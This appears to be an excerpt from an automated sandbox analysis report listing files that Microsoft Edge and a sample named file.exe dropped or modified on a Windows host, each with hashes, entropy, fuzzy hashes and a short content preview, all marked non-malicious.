SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.024467403883935
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclVo5hV:YWLSGTt1o9LuLgfGBPAzkVj/T8lAX
MD5:	BBFDB68536B3BECD444E0AF7A2BC8AE9
SHA1:	DEB2FADA7E926AE3B4E406F7B9A1D1BA16ADF539
SHA-256:	396C83E458AEFCD74CFE53C9C45598A7DB070D560F2B846B78D342D45765CF01
SHA-512:	323304D1E6CF1AC98E76D913ED14B584D3F5DE70E877D8F80F548784C455DE11394C378BB84C32858468F6242E6C0030B77DC091450516CE33B790669440B00E
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1730408797065413}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b2423aa1-d94e-4e65-ae6e-8a1a8776a654.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46211
Entropy (8bit):	6.087252699772372
Encrypted:	false
SSDEEP:	768:sMkbJrT8IeQcrQg6oAhdNujhDO6vP6Okhjw3u8YwSGhy1DhSCAo5Goup1Xl3jVzy:sMk1rT8Hao4p6v01sRo5hu3VlXr4N
MD5:	0C2C29C0794A370C24529A48AF8E5EF7
SHA1:	8498EBBC753A2A04A4F60A681856D9BD09463AFF
SHA-256:	AE11520239B0421869A45FE3ACCD0E53BC66DF602D63A2725B3B7261A46957BE
SHA-512:	73CCB768064C34A5E4942FF73C0004F2C700358B49BEDDBBA386F94A1E5D50E35B04B7815E2B2FCAA8F5BCFDBE1A7D26B61534E39404B2F54A24782512CC9748
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730307998"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b98c6f24-edb4-4490-8f8e-8e552eb0ab64.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46087
Entropy (8bit):	6.087497395761355
Encrypted:	false
SSDEEP:	768:sMkbJrT8IeQcrQgx9Ah7NujhDO6vP6Okhjc3u8YwSGhy1DhSCAo5Goup1Xl3jVzy:sMk1rT8HR94H6r01sRo5hu3VlXr4N
MD5:	68E508E9E543A9FBAB2829DA8BB5EE89
SHA1:	114F624E50080556B0F56B024F628EB07AE708DD
SHA-256:	6C1E8B25B119D98963595B287312F1246C3DF70B9B0E0D829726AC320DE25A66
SHA-512:	8103CDB16A70BA6832B814BD83A0654A5AADDC9E9182F5D98BECB36999EE3A1FF53DC3DEF69833A7E7DA6E8B09A523ABE5D199BCD9EB47E2EBCCDFCA1501F7AA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730307998"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ce5252e9-18e1-49ba-8c26-7d3f55272585.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44604
Entropy (8bit):	6.096306774819295
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBJwuKhDO6vP6OkhjwuINfFT2KtcGoup1Xl3jVzXr2:z/Ps+wsI7ynEl6Xchu3VlXr4CRo1
MD5:	BFAD5D0337B90A49ADB6E31B6886460F
SHA1:	53F0EAF2303C65A0BEE8E01B29E2FE88C7BAB106
SHA-256:	9277FB96FF4C9CCB3DB0AEE6652532AB52BBAC1E51908BCD296B21EDD48C09C5
SHA-512:	9DFDE3EAF24C4E9BBC6B8C5D2B52A8AF75F7BE52429B6D70AA042A10874BF4114F653A99A75569397DF6A40AF3BEC9FA9CE69C4372836F5F7CA01EFB69C94D54
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e0844ad4-d520-40fc-8a35-5cbea8c1b05c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44604
Entropy (8bit):	6.096306774819295
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBJwuKhDO6vP6OkhjwuINfFT2KtcGoup1Xl3jVzXr2:z/Ps+wsI7ynEl6Xchu3VlXr4CRo1
MD5:	BFAD5D0337B90A49ADB6E31B6886460F
SHA1:	53F0EAF2303C65A0BEE8E01B29E2FE88C7BAB106
SHA-256:	9277FB96FF4C9CCB3DB0AEE6652532AB52BBAC1E51908BCD296B21EDD48C09C5
SHA-512:	9DFDE3EAF24C4E9BBC6B8C5D2B52A8AF75F7BE52429B6D70AA042A10874BF4114F653A99A75569397DF6A40AF3BEC9FA9CE69C4372836F5F7CA01EFB69C94D54
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f0761367-ef6f-49f0-842a-9bc663d24f2b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090761268925202
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMVwuF9hDO6vP6O+6tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynER6Ltbz8hu3VlXr4CRo1
MD5:	FA792F20CA7CEC5B9E06C4A55F7F98EC
SHA1:	FF9E21FE57C4493480171B1E095AAE842C978422
SHA-256:	40C82EEF6520EDB9A4737EFF922A4D2EDFE59DDAD08CDBC5E95DCA1986103AE4
SHA-512:	83D3158350DBC6BA61EE1F7C567166DD61E5D2ED672AEBA4DF7D8B1E460EB4DF50CD1BFFE4069014CF5CDC77345DA2BF393E6DB07E75A656B837B7AB38AC83C4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8478839693536098
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxckxl9Il8uA7qDz4buzUHbgw/Errwyd1rc:m2YIqDzG/bgwcHwR
MD5:	80705408FA80B291851565528FE24CB2
SHA1:	A0DD9CC5413D124C94E9A7ED3F74CB68B787E32A
SHA-256:	005F677BE7BD0665DD617985A4092A92CE0B2ACBF816AEB86142F1586628DEA5
SHA-512:	FC11576B3C759A9602E47EEBE1B75D5E708F6B42F77FA361B064D1B9065C0659F58DD170C86A183F3440C59251FD6BC0A72B8C5DD1936AA06DE52BA388B27C94
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.L.Q.k.d.v.Y.q.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.A.H.4.f.L.M.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.995996008042841
Encrypted:	false
SSDEEP:	96:7YxgO841DJ3inj9h/xRWwx94NrpzGPmzMRokSGmtV9a:7hf4vAzE9BQqGmti
MD5:	9112AFBE111EED50830B48BFA29E44F9
SHA1:	816B4F516C1958FA7FB165A8583A5B31F5ACAB8B
SHA-256:	1315FE340C39E904BE9B42C9AF56ADE49AAF888C9A9F113BE272316FBBF88355
SHA-512:	BE6CFE6A9546ADB107DC9C2C4EBC9506FACE03B7839686848795E2CFF33691D657C5F22C3BD4500A0C7F7239A4E6997E7EFE2C82E7267CE70C217CA61B66E208
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.N.X.O.W.+.4.q.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.A.H.4.f.L.M.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8958653576380087
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xKxl9Il8u4CwOlwE0vciAUG38Lgc2T+EsOTGKud/vc:a4Y9wO6E0v5VLZ2SEsOB7
MD5:	DA04BD3EFB785CC796C98BD619310460
SHA1:	FABBCF9D8AA42D8404875B4645C891C3DAA4C703
SHA-256:	C51F550307D3E19B25EB270C5E9020B02E6545B300E2066B90290E9B3C3084D9
SHA-512:	03C49B0C8A1D2C09AD357A96D5AFB7B2CCF386B5FA5F3A9FD0BC2B617D2F428F162A2E3A0BFAA643D39E08B44B4B9FA310CB4AD8357D142D5FA6DDB4BFBF984E
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".T.y.j.m.i.7.9.J.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.A.H.4.f.L.M.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.389888715366359
Encrypted:	false
SSDEEP:	96:6NnQmHQuNnQEbQ2NnQc9QfNnQxdgEQTNnQwQsNnQ4DQCNnQUwQfNnQcl+3Qcs:6NhNHNyNIuNHN9VNbbNx
MD5:	35F9F09A0376EFD692FE00FFD9E1934F
SHA1:	6889C077666488186870F272DF6EFC2DB13C030B
SHA-256:	7676A784BB113ED7341BD28F210BA3926238C52C517FE16AEE0F9941DAE13B3D
SHA-512:	D30237AD8AF73B0E1838B26752145A4586624F97754CD714C2B8A078B56B8CC592410404D379BF46C0D6701D43AAEE60668887BD76F0DAF135C0C463E80BBFDC
Malicious:	false
